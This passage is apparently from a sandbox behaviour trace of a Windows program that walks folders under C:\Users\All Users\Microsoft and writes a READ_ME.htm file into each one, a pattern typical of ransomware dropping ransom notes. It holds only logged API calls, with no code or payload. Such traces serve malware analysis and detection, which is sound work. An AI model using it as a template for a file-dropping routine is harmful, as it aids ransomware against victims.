ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.046] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.046] SetErrorMode (uMode=0x0) returned 0x1 [0142.047] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\READ_ME.htm", lpFilePart=0x0) returned 0x4f [0142.047] SetErrorMode (uMode=0x1) returned 0x0 [0142.047] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.048] SetErrorMode (uMode=0x0) returned 0x1 [0142.048] GetFileType (hFile=0x1d0) returned 0x1 [0142.048] WriteFile (in: hFile=0x1d0, lpBuffer=0x297b8d0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x297b8d0*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0142.050] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\READ_ME.htm", lpFilePart=0x0) returned 0x3e [0142.050] SetErrorMode (uMode=0x1) returned 0x0 [0142.050] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.051] SetErrorMode (uMode=0x0) returned 0x1 [0142.051] GetFileType (hFile=0x1d0) returned 0x1 [0142.051] WriteFile (in: hFile=0x1d0, lpBuffer=0x297fe90*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x297fe90*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0142.053] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Vault", lpFilePart=0x0) returned 0x22 [0142.053] SetErrorMode (uMode=0x1) returned 0x0 [0142.053] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\*" (normalized: "c:\\users\\all users\\microsoft\\vault\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fb944c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb944c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.053] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.053] SetErrorMode (uMode=0x0) returned 0x1 [0142.053] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Vault", lpFilePart=0x0) returned 0x22 [0142.054] SetErrorMode (uMode=0x1) returned 0x0 [0142.054] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\*" (normalized: "c:\\users\\all users\\microsoft\\vault\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4fb944c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fb944c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.054] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.054] SetErrorMode (uMode=0x0) returned 0x1 [0142.054] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Vault\\READ_ME.htm", lpFilePart=0x0) returned 0x2e [0142.054] SetErrorMode (uMode=0x1) returned 0x0 [0142.055] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\vault\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.056] SetErrorMode (uMode=0x0) returned 0x1 [0142.056] GetFileType (hFile=0x1d0) returned 0x1 [0142.056] WriteFile (in: hFile=0x1d0, lpBuffer=0x2985e70*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2985e70*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0142.057] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc", lpFilePart=0x0) returned 0x24 [0142.057] SetErrorMode (uMode=0x1) returned 0x0 [0142.057] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\*" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4fbba620, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fbba620, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.058] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.058] SetErrorMode (uMode=0x0) returned 0x1 [0142.058] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc", lpFilePart=0x0) returned 0x24 [0142.058] SetErrorMode (uMode=0x1) returned 0x0 [0142.058] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\*" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4fbba620, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fbba620, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.058] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.058] SetErrorMode (uMode=0x0) returned 0x1 [0142.059] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles", lpFilePart=0x0) returned 0x2d [0142.059] SetErrorMode (uMode=0x1) returned 0x0 [0142.059] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\*" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\profiles\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.059] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.059] SetErrorMode (uMode=0x0) returned 0x1 [0142.059] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles", lpFilePart=0x0) returned 0x2d [0142.059] SetErrorMode (uMode=0x1) returned 0x0 [0142.060] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\*" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\profiles\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.060] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.060] SetErrorMode (uMode=0x0) returned 0x1 [0142.060] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\READ_ME.htm", lpFilePart=0x0) returned 0x39 [0142.060] SetErrorMode (uMode=0x1) returned 0x0 [0142.060] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\profiles\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0142.062] SetErrorMode (uMode=0x0) returned 0x1 [0142.064] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc\\READ_ME.htm", lpFilePart=0x0) returned 0x30 [0142.064] SetErrorMode (uMode=0x1) returned 0x0 [0142.064] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.065] GetFileType (hFile=0x1d0) returned 0x1 [0142.065] SetErrorMode (uMode=0x0) returned 0x1 [0142.065] GetFileType (hFile=0x1d0) returned 0x1 [0142.065] WriteFile (in: hFile=0x1d0, lpBuffer=0x298f750*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x298f750*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0142.066] CloseHandle (hObject=0x1d0) returned 1 [0142.066] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\READ_ME.htm", lpFilePart=0x0) returned 0x28 [0142.066] SetErrorMode (uMode=0x1) returned 0x0 [0142.066] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.067] GetFileType (hFile=0x1d0) returned 0x1 [0142.067] SetErrorMode (uMode=0x0) returned 0x1 [0142.067] GetFileType (hFile=0x1d0) returned 0x1 [0142.067] WriteFile (in: hFile=0x1d0, lpBuffer=0x2993cc0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2993cc0*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0142.068] CloseHandle (hObject=0x1d0) returned 1 [0142.068] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft Help", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft Help", lpFilePart=0x0) returned 0x21 [0142.068] SetErrorMode (uMode=0x1) returned 0x0 [0142.069] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft Help\\*" (normalized: "c:\\users\\all users\\microsoft help\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe2f19400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4fc9ee60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fc9ee60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.069] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe2f19400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x4fc9ee60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fc9ee60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.069] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe5875240, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe5875240, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe590d7c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.DATABASECOMPARE.16.1033.hxn", cAlternateFileName="MSDATA~1.HXN")) returned 1 [0142.069] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe69dd320, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe69dd320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe6a4f740, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EXCEL.16.1033.hxn", cAlternateFileName="MSEXCE~1.HXN")) returned 1 [0142.069] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xeb5e31c0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeb5e31c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeb6555e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GRAPH.16.1033.hxn", cAlternateFileName="MSGRAP~1.HXN")) returned 1 [0142.069] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe746d4c0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe746d4c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe74df8e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x164, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GROOVE.16.1033.hxn", cAlternateFileName="MSGROO~1.HXN")) returned 1 [0142.070] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe9065740, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe9065740, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe90fdcc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.LYNC.16.1033.hxn", cAlternateFileName="MSLYNC~1.HXN")) returned 1 [0142.070] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe9065740, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe9065740, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe90fdcc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.LYNC_BASIC.16.1033.hxn", cAlternateFileName="MSLYNC~3.HXN")) returned 1 [0142.070] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe9065740, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe9065740, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe90fdcc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.LYNC_ONLINE.16.1033.hxn", cAlternateFileName="MSLYNC~2.HXN")) returned 1 [0142.070] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe31c6cc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe31c6cc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe32390e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSACCESS.16.1033.hxn", cAlternateFileName="MSMSAC~1.HXN")) returned 1 [0142.070] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xeb5e31c0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeb5e31c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeb6555e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSOUC.16.1033.hxn", cAlternateFileName="MSMSOU~1.HXN")) returned 1 [0142.070] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf00b8560, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xf00b8560, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xf012a980, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSPUB.16.1033.hxn", cAlternateFileName="MSMSPU~1.HXN")) returned 1 [0142.070] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe451df80, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe451df80, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe45903a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.ONENOTE.16.1033.hxn", cAlternateFileName="MSONEN~1.HXN")) returned 1 [0142.070] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xed88d220, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xed88d220, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xed8ff640, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OUTLOOK.16.1033.hxn", cAlternateFileName="MSOUTL~1.HXN")) returned 1 [0142.071] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xeef50480, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeef50480, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeefc28a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.POWERPNT.16.1033.hxn", cAlternateFileName="MSPOWE~1.HXN")) returned 1 [0142.071] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xeb5e31c0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeb5e31c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeb6555e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SETLANG.16.1033.hxn", cAlternateFileName="MSSETL~1.HXN")) returned 1 [0142.071] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe9065740, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe9065740, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe90fdcc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SKYPEFB.16.1033.hxn", cAlternateFileName="MSSKYP~1.HXN")) returned 1 [0142.071] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe9065740, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe9065740, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe9123e20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SKYPEFB_BASIC.16.1033.hxn", cAlternateFileName="MSSKYP~3.HXN")) returned 1 [0142.071] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe9065740, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe9065740, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe90fdcc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SKYPEFB_ONLINE.16.1033.hxn", cAlternateFileName="MSSKYP~2.HXN")) returned 1 [0142.071] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe908b8a0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe908b8a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe9123e20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SKYPEFB_ONLINEG.16.1033.hxn", cAlternateFileName="MSSKYP~4.HXN")) returned 1 [0142.071] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe5875240, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe5875240, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe590d7c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SPREADSHEETCOMPARE.16.1033.hxn", cAlternateFileName="MSSPRE~1.HXN")) returned 1 [0142.071] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: 